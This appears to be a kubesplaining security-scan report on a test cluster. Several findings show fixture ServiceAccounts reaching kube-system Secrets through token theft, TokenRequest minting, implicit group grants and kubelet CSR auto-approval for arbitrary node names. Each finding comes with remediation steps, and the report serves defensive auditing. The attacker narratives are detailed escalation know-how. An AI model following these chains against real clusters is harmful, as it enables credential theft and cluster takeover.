Subject ServiceAccount/privesc-fixtures/sa-secret-read has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-read → / via read_secrets (get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-secret-read.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-read, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-read
    Permission granted get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-read → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-read → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/vulnerable/privileged-reader Namespace 8.4
ServiceAccount/vulnerable/privileged-reader can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/vulnerable/privileged-reader → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/vulnerable/privileged-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/vulnerable/privileged-reader → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/vulnerable/privileged-reader → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/foothold-fixtures/foothold-minter Namespace 8.3
ServiceAccount/foothold-fixtures/foothold-minter can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/foothold-fixtures/foothold-minter → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/foothold-fixtures/foothold-minter

Subject ServiceAccount/foothold-fixtures/foothold-minter has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/foothold-fixtures/foothold-minter → ServiceAccount/foothold-fixtures/foothold-quiet via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount foothold-fixtures/foothold-quiet
2. ServiceAccount/foothold-fixtures/foothold-quiet → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/foothold-fixtures/foothold-minter.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-minter, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/foothold-fixtures/foothold-quiet. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-quiet, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/foothold-fixtures/foothold-minter → ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount foothold-fixtures/foothold-quiet
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/foothold-fixtures/foothold-minter → ServiceAccount/foothold-fixtures/foothold-quiet).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/foothold-fixtures/foothold-minter → ServiceAccount/foothold-fixtures/foothold-quiet).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/gw-groups/default Namespace 8.3
ServiceAccount/gw-groups/default can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/gw-groups/default → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/gw-groups/default

Subject ServiceAccount/gw-groups/default has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/gw-groups/default → Group/system:serviceaccounts:gw-groups via implicit_group_membership (member of system:serviceaccounts:gw-groups): is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants
2. Group/system:serviceaccounts:gw-groups → / via read_secrets (list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/gw-groups/default.
  2. ServiceAccount/gw-groups/default needs no extra step here: the API server adds Group/system:serviceaccounts:gw-groups to every request it authenticates as this identity. No binding lists the members of this group, so anything bound to the group applies to ServiceAccount/gw-groups/default as well.
  3. Acting as Group/system:serviceaccounts:gw-groups, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Implicit group membership implicit_group_membership

    The API server adds some groups to a request by itself. Every authenticated identity is in system:authenticated. Every ServiceAccount is also in system:serviceaccounts and system:serviceaccounts:<namespace>. No binding lists the members of these groups, so kubectl get does not show who they include: it includes everyone of that type.

    A binding to one of these groups is therefore a grant to every such identity at once. Kubernetes binds only harmless discovery roles to them by default, so a dangerous grant here is almost always a mistake, and the fix is to remove the group from the binding.

    From ServiceAccount/gw-groups/default → Group/system:serviceaccounts:gw-groups
    Permission granted member of system:serviceaccounts:gw-groups
    Gives the attacker is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From Group/system:serviceaccounts:gw-groups
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission member of system:serviceaccounts:gw-groups that enables the first hop (ServiceAccount/gw-groups/default → Group/system:serviceaccounts:gw-groups).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission member of system:serviceaccounts:gw-groups that enables the first hop (ServiceAccount/gw-groups/default → Group/system:serviceaccounts:gw-groups).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/gw-groups/gw-member Namespace 8.3
ServiceAccount/gw-groups/gw-member can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/gw-groups/gw-member → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/gw-groups/gw-member

Subject ServiceAccount/gw-groups/gw-member has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/gw-groups/gw-member → Group/system:serviceaccounts:gw-groups via implicit_group_membership (member of system:serviceaccounts:gw-groups): is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants
2. Group/system:serviceaccounts:gw-groups → / via read_secrets (list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/gw-groups/gw-member.
  2. ServiceAccount/gw-groups/gw-member needs no extra step here: the API server adds Group/system:serviceaccounts:gw-groups to every request it authenticates as this identity. No binding lists the members of this group, so anything bound to the group applies to ServiceAccount/gw-groups/gw-member as well.
  3. Acting as Group/system:serviceaccounts:gw-groups, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Implicit group membership implicit_group_membership

    The API server adds some groups to a request by itself. Every authenticated identity is in system:authenticated. Every ServiceAccount is also in system:serviceaccounts and system:serviceaccounts:<namespace>. No binding lists the members of these groups, so kubectl get does not show who they include: it includes everyone of that type.

    A binding to one of these groups is therefore a grant to every such identity at once. Kubernetes binds only harmless discovery roles to them by default, so a dangerous grant here is almost always a mistake, and the fix is to remove the group from the binding.

    From ServiceAccount/gw-groups/gw-member → Group/system:serviceaccounts:gw-groups
    Permission granted member of system:serviceaccounts:gw-groups
    Gives the attacker is a member of system:serviceaccounts:gw-groups, so every request it makes carries that group's grants
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From Group/system:serviceaccounts:gw-groups
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission member of system:serviceaccounts:gw-groups that enables the first hop (ServiceAccount/gw-groups/gw-member → Group/system:serviceaccounts:gw-groups).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission member of system:serviceaccounts:gw-groups that enables the first hop (ServiceAccount/gw-groups/gw-member → Group/system:serviceaccounts:gw-groups).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Namespace 8.3
ServiceAccount/rbac-fixtures/sa-token-create can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-token-create → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/foothold-exec/foothold-reader via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/foothold-exec/foothold-reader. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/foothold-exec/foothold-reader).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/foothold-exec/foothold-reader).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Namespace 8.2
ServiceAccount/nodeid-fixtures/nodeid-joiner can read kube-system Secrets in 3 hop(s)
Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-joiner → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-reader via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-reader through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-reader.
  4. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  5. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-reader
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
